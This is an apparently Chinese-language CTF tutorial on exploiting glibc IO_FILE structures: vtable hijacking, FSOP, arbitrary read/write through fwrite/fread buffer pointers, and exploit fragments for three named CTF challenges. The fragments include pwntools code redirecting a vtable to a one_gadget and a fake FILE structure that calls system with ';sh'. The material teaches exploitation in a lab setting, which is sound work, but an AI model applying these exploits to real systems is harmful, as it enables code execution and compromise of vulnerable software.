IO file结构在pwn中的妙用
字数 2139 2025-08-24 20:49:22
IO File结构在Pwn中的高级利用技术
一、IO_FILE结构基础
1.1 基本数据结构
glibc通过fopen函数返回一个FILE描述符,实际是一个结构体。该结构体主要分为三部分:
_flags:文件流的属性标志(由fopen的mode参数决定)- 缓冲区:用于减少IO的系统调用
- 文件描述符:文件流的唯一标识(如stdin=0, stdout=1)
1.2 IO_FILE结构定义
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* ... 其他字段 ... */
int _fileno; /* 文件描述符 */
/* ... 其他字段 ... */
};
1.3 IO_FILE_plus结构
glibc实际使用IO_FILE_plus结构包裹FILE结构,增加了vtable(虚拟函数表):
struct _IO_FILE_plus {
FILE file;
const struct _IO_jump_t *vtable;
};
vtable保存标准流函数底层调用的函数指针:
- 32位系统:在FILE结构偏移0x94处
- 64位系统:在FILE结构偏移0xd8处
二、攻击思路
2.1 针对vtable的利用
- 改写vtable函数指针:直接修改vtable中的函数指针,触发任意代码执行
- 伪造vtable:修改IO_FILE_plus的vtable指针指向伪造的vtable,布置恶意函数
- 伪造整个FILE结构:完全控制FILE结构的所有字段
2.2 FSOP (File-Stream-Oriented-Programming)
所有FILE结构通过链表连接(_chain字段和_IO_list_all全局变量)。通过控制链表结构可以伪造整个文件链。
_IO_flush_all_lockp函数会flush链表上的所有FILE,在以下情况自动调用:
- 产生abort时
- 执行exit函数时
- main函数返回时
通过控制相关变量可实现任意代码执行。
2.3 高级利用方式(任意地址读写)
随着glibc更新,许多vtable攻击方式失效,转而关注stream_buffer控制:
- 控制
_fileno:改变输入输出目标 - 控制读写指针:实现任意地址读写
三、IO缓冲区攻击技术
3.1 利用fwrite进行任意地址读
设置要求:
- 设置
_fileno为stdout(1),将信息泄露到标准输出 - 设置
_flags & ~_IO_NO_WRITES - 设置
_flags |= _IO_CURRENTLY_PUTTING - 设置
_IO_write_base指向泄露起始地址,_IO_write_ptr指向结束地址 - 设置
_IO_read_end == _IO_write_base
绕过检查的关键点:
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)) {
// 检查通过
}
if (fp->_IO_read_end != fp->_IO_write_base) {
// 需要确保相等
}
示例代码:
#include <stdio.h>
int main() {
char* msg = "treebacker";
FILE* fp;
char* buf = malloc(100);
read(0, buf, 100);
fp = fopen("key.txt", "rw");
fp->_flags &= ~8;
fp->_flags |= 0x800;
fp->_IO_write_base = msg;
fp->_IO_write_ptr = msg + 10;
fp->_IO_read_end = fp->_IO_write_base;
fp->_fileno = 1;
fwrite(buf, 1, 100, fp); /* 泄露msg内容 */
}
3.2 利用fread进行任意地址写
设置要求:
- 设置
_fileno为stdin(0),从标准输入读取 - 设置
_flags &= ~_IO_NO_READS(允许写入) - 设置
_IO_read_ptr = _IO_read_base = NULL - 设置
_IO_buf_base指向写入起始地址,_IO_buf_end指向结束地址 - 确保
buf_end - buf_base < fread size(允许写入足够数据)
关键检查代码:
while (want > 0) {
have = fp->_IO_read_end - fp->_IO_read_ptr;
if (want <= have) {
memcpy(s, fp->_IO_read_ptr, want);
fp->_IO_read_ptr += want;
want = 0;
}
// ...
}
示例代码:
#include <stdio.h>
int main() {
FILE* fp;
char* buf = malloc(100);
char msg[100];
fp = fopen("key.txt", "r");
fp->_flags &= ~4;
fp->_IO_buf_base = msg;
fp->_IO_buf_end = msg + 100;
fp->_fileno = 0;
fread(buf, 1, 6, fp); // 实际写入msg
puts(msg);
}
四、实战案例分析
4.1 2018 HCTF the_end
漏洞分析:存在任意地址写漏洞(5次,每次1字节)
利用思路A:
- 利用exit时调用
_IO_list_all中的setbuf - 伪造
setbuf为one_gadget地址
关键点:
- 寻找真实vtable在libc中的偏移
- 伪造vtable需满足写入字节限制
exp关键部分:
vtables_addr = libc_base + 0x3c56f8
one_gadget = libc_base + 0x45216
fake_vtables = libc_base + 0x3c5588
target_addr = fake_vtables + 0x58 # setbuf偏移
# 修改vtable指针指向伪造位置
for i in range(2):
p.send(p64(vtables_addr+i))
p.send(p64(fake_vtables)[i])
# 修改setbuf为one_gadget
for i in range(3):
p.send(p64(target_addr+i))
p.send(p64(one_gadget)[i])
利用思路B:
利用exit函数调用_dl_fini中的函数指针(_rtld_global+3848)
4.2 pwntable seethefile
漏洞分析:name字段scanf存在溢出,可覆盖fd并伪造FILE结构
利用过程:
- 伪造file结构
- 设置
_flags & 0x2000 = 0 - 设置
read_ptr为";sh" - 伪造vtable,设置flush字段为system
exp关键部分:
name = 'a' * 0x20
name += p32(fake_file_addr) # *fd = fake_file_addr
# 伪造FILE结构
fake_file = "\x00" * (fake_file_addr - fd_addr - 4)
fake_file += ((p32(0xffffdfff) + ";sh").ljust(0x94, '\x00'))
fake_file += p32(fake_file_addr + 0x98) # fake_vtables
fake_file += p32(system_addr) * 21
4.3 BUUCTF ciscn_2019_en_3
漏洞分析:
- 只有add和delete功能(edit/show无效)
- add操作对输入无截断
- delete存在double free
利用思路:
在没有正常输出方式时,通过控制stdout结构泄露libc地址
关键步骤:
- 利用unsorted bin和tcache重叠,写入tcache的fd指向main_arena
- 通过偏移计算定位到stdout结构
- 修改
_IO_write_base低位为0,泄露__IO_file_jumps地址
注意事项:
- 避免继续add与tcache相同大小的chunk,防止触发异常
- 需要精确计算偏移,可能需要爆破
五、总结
IO_FILE结构利用是高级pwn技术中的重要部分,关键点包括:
- 理解IO_FILE和IO_FILE_plus结构布局
- 掌握vtable修改和伪造技术
- 熟练运用FSOP攻击链
- 掌握通过控制缓冲区指针实现任意地址读写
- 了解各种保护机制下的绕过方法
在实际漏洞利用中,需要结合具体环境调整攻击方式,并注意不同glibc版本间的差异。